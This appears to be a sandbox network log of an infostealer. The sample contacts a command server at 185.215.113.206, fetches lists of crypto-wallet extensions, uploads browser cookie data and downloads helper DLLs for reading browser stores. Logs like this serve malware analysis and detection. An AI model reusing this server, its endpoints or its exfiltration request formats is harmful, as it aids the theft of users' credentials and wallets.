Dec 6, 2024 18:45:15.595402956 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Dec 6, 2024 18:45:15.595417023 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Dec 6, 2024 18:45:15.595434904 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Dec 6, 2024 18:45:15.598083019 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJEGDBKFIJDAKFIDGHJE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 47 44 42 4b 46 49 4a 44 41 4b 46 49 44 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 66 33 63 32 38 35 61 64 31 66 35 37 65 65 33 63 32 63 37 34 38 35 37 64 37 34 31 32 64 39 33 61 62 63 30 33 30 34 64 31 36 37 36 30 35 35 65 61 36 37 66 38 63 33 64 66 63 36 31 36 65 34 35 38 37 37 38 62 62 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 44 42 4b 46 49 4a 44 41 4b 46 49 44 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 44 42 4b 46 49 4a 44 41 4b 46 49 44 47 48 4a 45 2d 2d 0d 0a Data Ascii: ------KJEGDBKFIJDAKFIDGHJEContent-Disposition: form-data; name="token"54f3c285ad1f57ee3c2c74857d7412d93abc0304d1676055ea67f8c3dfc616e458778bb3------KJEGDBKFIJDAKFIDGHJEContent-Disposition: form-data; name="message"fplugins------KJEGDBKFIJDAKFIDGHJE--
Dec 6, 2024 18:45:16.044049025 CET	335	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:15 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 6, 2024 18:45:16.060411930 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCBKECAKFBGCAKECGIE Host: 185.215.113.206 Content-Length: 7019 Connection: Keep-Alive Cache-Control: no-cache
Dec 6, 2024 18:45:16.060411930 CET	7019	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 66 33 63 32 Data Ascii: ------DGCBKECAKFBGCAKECGIEContent-Disposition: form-data; name="token"54f3c285ad1f57ee3c2c74857d7412d93abc0304d1676055ea67f8c3dfc616e458778bb3------DGCBKECAKFBGCAKECGIEContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 6, 2024 18:45:17.025907993 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 6, 2024 18:45:17.110985041 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 6, 2024 18:45:17.552500010 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:17 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Dec 6, 2024 18:45:17.552588940 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Dec 6, 2024 18:45:17.556740999 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Dec 6, 2024 18:45:17.556751966 CET	372	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49751	185.215.113.206	80	6768	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 18:45:26.731513023 CET	621	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKEGHJDHDAFHIDHCFHD Host: 185.215.113.206 Content-Length: 419 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 66 33 63 32 38 35 61 64 31 66 35 37 65 65 33 63 32 63 37 34 38 35 37 64 37 34 31 32 64 39 33 61 62 63 30 33 30 34 64 31 36 37 36 30 35 35 65 61 36 37 66 38 63 33 64 66 63 36 31 36 65 34 35 38 37 37 38 62 62 33 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 47 48 4a 44 48 44 41 46 48 49 44 48 43 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 [TRUNCATED] Data Ascii: ------AKKEGHJDHDAFHIDHCFHDContent-Disposition: form-data; name="token"54f3c285ad1f57ee3c2c74857d7412d93abc0304d1676055ea67f8c3dfc616e458778bb3------AKKEGHJDHDAFHIDHCFHDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------AKKEGHJDHDAFHIDHCFHDContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------AKKEGHJDHDAFHIDHCFHD--
Dec 6, 2024 18:45:28.568475962 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 6, 2024 18:45:28.693382978 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHJEBGIEBFIJKEBFBFH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 66 33 63 32 38 35 61 64 31 66 35 37 65 65 33 63 32 63 37 34 38 35 37 64 37 34 31 32 64 39 33 61 62 63 30 33 30 34 64 31 36 37 36 30 35 35 65 61 36 37 66 38 63 33 64 66 63 36 31 36 65 34 35 38 37 37 38 62 62 33 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="token"54f3c285ad1f57ee3c2c74857d7412d93abc0304d1676055ea67f8c3dfc616e458778bb3------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDHJEBGIEBFIJKEBFBFHContent-Disposition: form-data; name="file"------IDHJEBGIEBFIJKEBFBFH--
Dec 6, 2024 18:45:29.650778055 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49796	185.215.113.206	80	6768	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 18:45:41.879885912 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAKKKKJDBKKFIEBKEHD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 66 33 63 32 38 35 61 64 31 66 35 37 65 65 33 63 32 63 37 34 38 35 37 64 37 34 31 32 64 39 33 61 62 63 30 33 30 34 64 31 36 37 36 30 35 35 65 61 36 37 66 38 63 33 64 66 63 36 31 36 65 34 35 38 37 37 38 62 62 33 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 4b 4b 4b 4a 44 42 4b 4b 46 49 45 42 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------ECAKKKKJDBKKFIEBKEHDContent-Disposition: form-data; name="token"54f3c285ad1f57ee3c2c74857d7412d93abc0304d1676055ea67f8c3dfc616e458778bb3------ECAKKKKJDBKKFIEBKEHDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECAKKKKJDBKKFIEBKEHDContent-Disposition: form-data; name="file"------ECAKKKKJDBKKFIEBKEHD--
Dec 6, 2024 18:45:43.641150951 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 6, 2024 18:45:44.059420109 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 6, 2024 18:45:44.509309053 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Dec 6, 2024 18:45:44.509371042 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Dec 6, 2024 18:45:44.509385109 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Dec 6, 2024 18:45:44.509494066 CET	1236	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Dec 6, 2024 18:45:44.509506941 CET	1236	IN	Data Raw: 00 00 00 0f 57 c8 0f 11 8c 0e 9c 00 00 00 83 c1 20 83 c3 fe 75 a6 eb 02 31 c9 f6 c2 01 74 28 0f 10 04 0f 0f 10 4c 0e 0c 0f 57 c8 0f 10 84 0e 8c 00 00 00 0f 11 4c 0e 0c 0f 10 0c 0f 0f 57 c8 0f 11 8c 0e 8c 00 00 00 31 db 8b 55 ac 39 c2 74 6b f6 c2 Data Ascii: W u1t(LWLW1U9tkt0T0U19t<f.0L0L0LL09uM17L^_[]USWVh1
Dec 6, 2024 18:45:44.509520054 CET	1236	IN	Data Raw: f0 8d 86 00 ff ff ff 3d 00 ff ff ff 77 0a 68 0e e0 ff ff e9 d0 00 00 00 8b 45 08 85 c0 0f 84 c0 00 00 00 8d 9d f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 50 e8 28 f9 07 00 83 c4 0c bf 00 01 00 00 0f 1f 80 00 00 00 00 56 ff 75 0c 53 e8 0f f9 07 00 Data Ascii: =whEhh !P(VuS)9wWuSufDT>\>=t%>>f1h
Dec 6, 2024 18:45:44.509533882 CET	1236	IN	Data Raw: 45 d0 0f 84 a4 00 00 00 89 55 e0 89 5d dc 8b 45 ec 04 01 89 4d d4 0f b6 c8 8a 5d e8 8b 55 f0 8a 24 0a 00 e3 0f b6 f3 8b 55 f0 8a 3c 32 8b 55 f0 88 3c 0a 8b 55 f0 88 24 32 00 e7 0f b6 f7 8b 4d 10 8a 21 8b 4d f0 32 24 31 8b 4d d4 8b 55 e4 88 22 ba Data Ascii: EU]EM]U$U<2U<U$2M!M2$1MU")UtDEU$U<2U<U$2MaM2$1MUbu-]En~uMMUEEM]}7
Dec 6, 2024 18:45:44.509699106 CET	1236	IN	Data Raw: 04 0f 82 3a 03 00 00 0f b6 c9 89 4d ec 31 c0 89 d1 89 7d e4 89 5d dc 66 0f 1f 84 00 00 00 00 00 89 45 e8 8b 55 e4 8b 04 02 89 45 d4 8b 45 e8 8b 55 ec 8d 44 02 01 89 d3 0f b6 c0 8b 7d f0 0f b6 14 07 00 d1 0f b6 f1 8a 34 37 88 34 07 88 14 37 00 d6 Data Ascii: :M1}]fEUEEUD}4747EED}4}4EUEUu}<7}<U2u4EUU}4}
Dec 6, 2024 18:45:44.509711027 CET	1236	IN	Data Raw: 01 cb 8b 52 14 89 95 3c ff ff ff 8b 4e 0c 89 8d a8 fe ff ff 11 d1 8b 46 28 89 85 c8 fe ff ff 01 c3 89 5d d4 8b 46 2c 89 85 cc fe ff ff 11 c1 8b 7e 4c 31 cf 8b 46 48 31 d8 81 f7 8c 68 05 9b 35 1f 6c 3e 2b 89 fb 81 c3 3b a7 ca 84 89 5d dc 89 c6 81 Data Ascii: R<NF(]F,~L1FH1h5l>+;]gu33`tSUSU`UM11UTEEMM11E`tS
Dec 6, 2024 18:45:44.509727001 CET	1236	IN	Data Raw: 5d 80 11 d9 89 4d f0 8b 75 a4 31 ce 89 75 a4 8b 8d 54 ff ff ff 31 c1 89 8d 54 ff ff ff 8b 45 e8 01 f0 89 45 e8 8b 7d c0 11 cf 31 c2 31 fb 89 d0 0f a4 d8 08 0f a4 d3 08 8b 8d 74 ff ff ff 8b 71 68 89 b5 24 ff ff ff 8b 55 b8 01 f2 8b 71 6c 89 b5 5c Data Ascii: ]Mu1uT1TEE}11tqh$Uql\MUMT1M1UMuuM11UMtBpTMRtdEpMxEU1U}1}E
Dec 6, 2024 18:45:44.518173933 CET	1236	IN	Data Raw: ff ff 89 7d d4 8b 95 e0 fe ff ff 11 d0 89 45 cc 8b 4d a0 31 c1 8b 75 9c 31 fe 8b 5d c4 01 cb 89 5d c4 8b 7d bc 11 f7 89 7d bc 8b 85 7c ff ff ff 31 d8 89 c3 31 fa 0f a4 d0 08 0f a4 da 08 89 d7 8b 55 d4 03 95 40 ff ff ff 8b 5d cc 13 9d 3c ff ff ff Data Ascii: }EM1u1]]}}\|11U@]<U]11lMuuMM11UM EHMM(Eh1]1EEuu]11]
Dec 6, 2024 18:45:45.958138943 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 6, 2024 18:45:46.401787043 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Dec 6, 2024 18:45:47.301731110 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
